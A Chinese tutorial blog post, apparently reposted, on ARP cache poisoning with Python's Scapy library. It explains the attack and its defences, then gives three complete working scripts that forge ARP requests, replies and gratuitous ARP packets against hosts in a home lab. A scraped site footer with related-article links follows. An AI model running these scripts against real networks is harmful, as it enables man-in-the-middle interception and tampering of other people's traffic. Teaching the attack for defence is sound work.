利用 Scapy 库编写 ARP 缓存中毒攻击脚本

一、ARP 协议基础

参考下篇文章学习

二、ARP 缓存中毒原理

ARP(Address Resolution Protocol)缓存中毒是一种网络攻击,它利用了ARP协议中的漏洞,通过欺骗或篡改网络中的ARP缓存来实施攻击。ARP协议是用于将IP地址映射到物理MAC地址的协议,在IPv4网络中,每台计算机都有一个ARP缓存,用于保存IP地址到MAC地址的映射关系,以便进行网络通信。

2.1 攻击步骤:

  1. **监听网络流量:**攻击者首先在目标网络中监听流量,以便识别目标计算机的IP地址和MAC地址。

  2. **欺骗ARP响应:**攻击者发送虚假的ARP响应消息到目标计算机,告诉目标计算机说攻击者的MAC地址对应于目标计算机想要访问的IP地址。这样一来,目标计算机就会更新自己的ARP缓存,将攻击者的MAC地址错误地与目标IP地址关联起来。

  3. **中间人攻击:**一旦目标计算机的ARP缓存被篡改,攻击者就可以拦截目标计算机发送的流量,并将其传递到正确的目标,同时也可以修改传输的数据。这使得攻击者能够窃取敏感信息或篡改通信内容。

  4. **持久性攻击:**攻击者可能会持续发送虚假的ARP响应,以确保目标计算机的ARP缓存保持被篡改状态,从而持续进行攻击。

2.2 攻击危害:

  • **流量窃取:**攻击者可以拦截目标计算机的网络流量,窃取敏感信息,如登录凭证、信用卡信息等。

  • **数据篡改:**攻击者可以修改网络通信中的数据包,导致数据的篡改或损坏,可能导致系统故障或信息泄露。

  • **拒绝服务:**攻击者可以阻止目标计算机与其他网络资源的正常通信,导致网络服务的拒绝或延迟。

2.3 防护措施:

  • **ARP缓存监控:**定期监控网络中的ARP缓存,检测是否存在异常的ARP记录。

  • **静态ARP条目:**在网络设备中配置静态ARP条目,指定特定的IP地址与MAC地址的映射关系,以防止被篡改。

  • **ARP缓存定期清除:**定期清除设备上的ARP缓存,防止缓存中的错误信息长时间存在。

  • **网络流量加密:**使用加密协议(如TLS、SSH等)来保护网络通信中的数据,防止被攻击者窃取或篡改。

  • **网络入侵检测系统(IDS):**部署IDS来监控网络流量,检测异常的ARP活动,并及时响应和阻止攻击。

三、安装 Scapy 库

3.1 Windows

pip install scapy

3.2 Linux

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

  • hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。

  • ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。

  • hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。

  • plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。

  • op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。

  • hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

  • hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。

  • pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

张三:Red Hat 9

攻击者:Kail

五、攻击方式一:伪造 ARP 请求包

通过攻击者小王发送伪造 ARP 请求数据包,使小王的本地 ARP 缓存表中添加一条记录:将张三的IP地址映射到攻击者的 MAC 地址

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP# 目标的 IP 地址
Target_IP = "192.168.134.132"# 伪造的 IP 地址
Forgery_IP = "192.168.134.131"# 本机的 MAC 地址
My_MAC = "00:0c:29:b2:d6:43"print("ARP 缓存中毒攻击中……")# 创建以太网帧对象
E = Ether()# 设置以太网帧的源 MAC 地址
E.src = My_MAC# 创建一个ARP(Address Resolution Protocol)对象
A = ARP()# 设置ARP报文的操作码为 1,表示请求包
A.op = 1# 设置ARP报文的源 MAC 地址
A.hwsrc = My_MAC# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP# 设置 ARP 报文的目标 IP 地址
A.pdst = Target_IP# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击效果:小王的 ARP 缓存表中出现了张三的 IP 地址并且映射到了攻击者的 MAC 地址。同时也添加了攻击者的映射记录 

六、攻击方法二:伪造 ARP 响应包

通过攻击者张三发送伪造 ARP 响应数据包,使张三的本地 ARP 缓存表中更新一条记录:将小王的 IP 地址映射到攻击者的 MAC 地址

值得注意的是,此时张三的 ARP 缓存表仍处于初始状态,其中并不包含小王的 IP 地址对应的映射记录,而且由于 ARP 响应报文只能更新不能添加记录,因此 ARP 响应数据包并不会在张三的 ARP 缓存表中添加小王对应的记录

因此需要张三 Ping 通小王

这样张三的 ARP 缓存表中就包含 小王 的 IP 地址对应的映射记录: 

攻击者发起攻击:

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP# 目标的 MAC 地址
Target_MAC = "00:0c:29:cf:1f:f2"# 伪造的 IP 地址
Forgery_IP = "192.168.134.132"# 伪造的 MAC 地址
Forgery_MAC = "00:0c:29:b2:d6:43"print("ARP 缓存中毒攻击中……")# 创建以太网帧对象
E = Ether()# 设置以太网帧的目标 MAC 地址
E.dst = Target_MAC# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()# 设置 ARP 报文的操作码为 2,表示响应包
A.op = 2# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Target_MAC# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

攻击成功!

攻击效果:张三的 ARP 缓存表中小王的 IP 地址映射到了攻击者的 MAC 地址

七、攻击方式三:伪造免费 ARP 包 

通过攻击者向网络中其它主机发送伪造免费 ARP 数据包,使张三小王的本地 ARP 缓存表中更新一条记录:将攻击者的 IP 地址映射的 MAC 地址更新为:aa:bb:cc:dd:ee:ff 

注意:免费 ARP 报文只能更新不能添加记录,所以与 ARP 响应包一样先有缓存记录 

前提:张三小王都先 Ping 通攻击者

攻击者发起攻击: 

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP# 本地的 IP 地址
My_IP = "192.168.134.130"# 广播地址,向所有主机发送数据包
Broadcast_MAC = "ff:ff:ff:ff:ff:ff"# 伪造的 MAC 地址
Forgery_MAC = "aa:bb:cc:dd:ee:ff"print("ARP 缓存中毒攻击中……")# 创建以太网帧对象
E = Ether()# 设置以太网帧的目标 MAC 地址
E.dst = Broadcast_MAC# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()# 设置 ARP 报文的操作码为 1
A.op = 1# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC# 设置 ARP 报文的源 IP 地址
A.psrc = My_IP# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Broadcast_MAC# 设置 ARP 报文的目标 IP 地址
A.pdst = My_IP# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E/A# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/576487.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA的NIO和BIO底层原理分析

文章目录 一、操作系统底层IO原理1. 简介2. 操作系统进行IO的流程 二、BIO底层原理1. 什么是Socket2. JDK原生编程的BIO 三、Java原生编程的NIO1. 简介2. NIO和BIO的主要区别3. Reactor模式4. NIO的三大核心组件5. NIO核心源码分析 一、操作系统底层IO原理 1. 简介 IO&#x…

产品经理的自我修养

点击下载《产品经理的自我修养》 1. 前言 在产品领域取得成功的关键在于持续的激情。只有保持热情不减,我们才能克服各种困难,打造出卓越的产品。 如果你真心渴望追求产品之路,我强烈建议你立即行动起来,亲自参与实际的产品创作。无论是建立一个网站、创建一个社群,还是…

黑苹果安装,黑苹果小白详细教程

前言(废话)本人电脑小白,看了网上很多的教程,整合用了20个小时,反正看的太多了,反而不知道咋弄了,最后看不下去了,就试了一下,结果稀里糊涂的成功了,我也不知…

农村分散式生活污水分质处理及循环利用技术指南

标准已完成意见征集: 本文件给出了农村分散式生活污水分质处理及循环利用的总则、污水收集、污水分质处理、资源化利用、利用模式、运维管理等的指导。 本文件适用于农村分散式生活污水分质处理及循环利用的设施新建、扩建和改建工程的设计、施工与运维。 注:本文件…

【Redis教程0x08】详解Redis过期删除策略内存淘汰策略

引言 Redis的过期删除策略和内存淘汰策略是经常被问道的问题,这两个机制都是做删除操作,但是触发的条件和使用的策略是不同的。今天就来深入理解一下这两个策略。 过期删除策略 Redis 是可以对 key 设置过期时间的,因此需要有相应的机制将…

Aigtek:功率放大器的定义、指标参数及性能特点

功率放大器是一种电子器件或电路,用于将输入信号的功率放大到更高的功率级别。它在各种应用中起到关键的作用,例如音频放大器、射频放大器、激光放大器等。下面西安安泰将介绍功率放大器的定义、指标参数以及其性能特点。 功率放大器的定义: …

自动发卡平台源码优化版配套免签个人支付宝微信插件

这款免签个人支付宝微信插件,配套的是 自动发卡平台源码优化版,支持个人免签支付 其他系统的不支持!

政安晨:专栏目录【TensorFlow与Keras实战演绎机器学习】

政安晨的个人主页:政安晨 欢迎 👍点赞✍评论⭐收藏 收录专栏: TensorFlow与Keras实战演绎机器学习 希望政安晨的博客能够对您有所裨益,如有不足之处,欢迎在评论区提出指正! 本篇是作者政安晨的专栏《TensorFlow与Keras…

33.HarmonyOS App(JAVA)鸿蒙系统app数据库增删改查

33.HarmonyOS App(JAVA)鸿蒙系统app数据库增删改查 关系数据库 关系对象数据库(ORM) 应用偏好数据库 分布式数据库 关系型数据库(Relational Database,RDB)是一种基于关系模型来管理数据的数据库。HarmonyOS关系型…

光明源@智慧公厕的建设要求是什么

作为城市公共卫生设施的重要组成部分,智慧公厕的建设要求愈发受到重视。它们不仅是城市形象的窗口,更是为民众提供便捷、舒适的卫生服务的重要载体。那么,究竟什么样的要求才能确保智慧公厕的高效建设呢?今日,让我们一…

基于Java仓库管理系统设计与实现(源码+部署文档+论文)

博主介绍: ✌至今服务客户已经1000、专注于Java技术领域、项目定制、技术答疑、开发工具、毕业项目实战 ✌ 🍅 文末获取源码联系 🍅 👇🏻 精彩专栏 推荐订阅 👇🏻 不然下次找不到 Java项目精品实…

【STM32CubeMX(3)】GPIO上拉输入——读取按键状态

通过本节可以学习到: 如何在CubeMX配置上拉输入什么是上拉输入如何读取一个GPIO的输入状态 软件环境: STM32CubeMX version6.10.0 Keil_v5(MDK-ARM) version 5.32 硬件环境: STM32F103C8T6最小系统板(…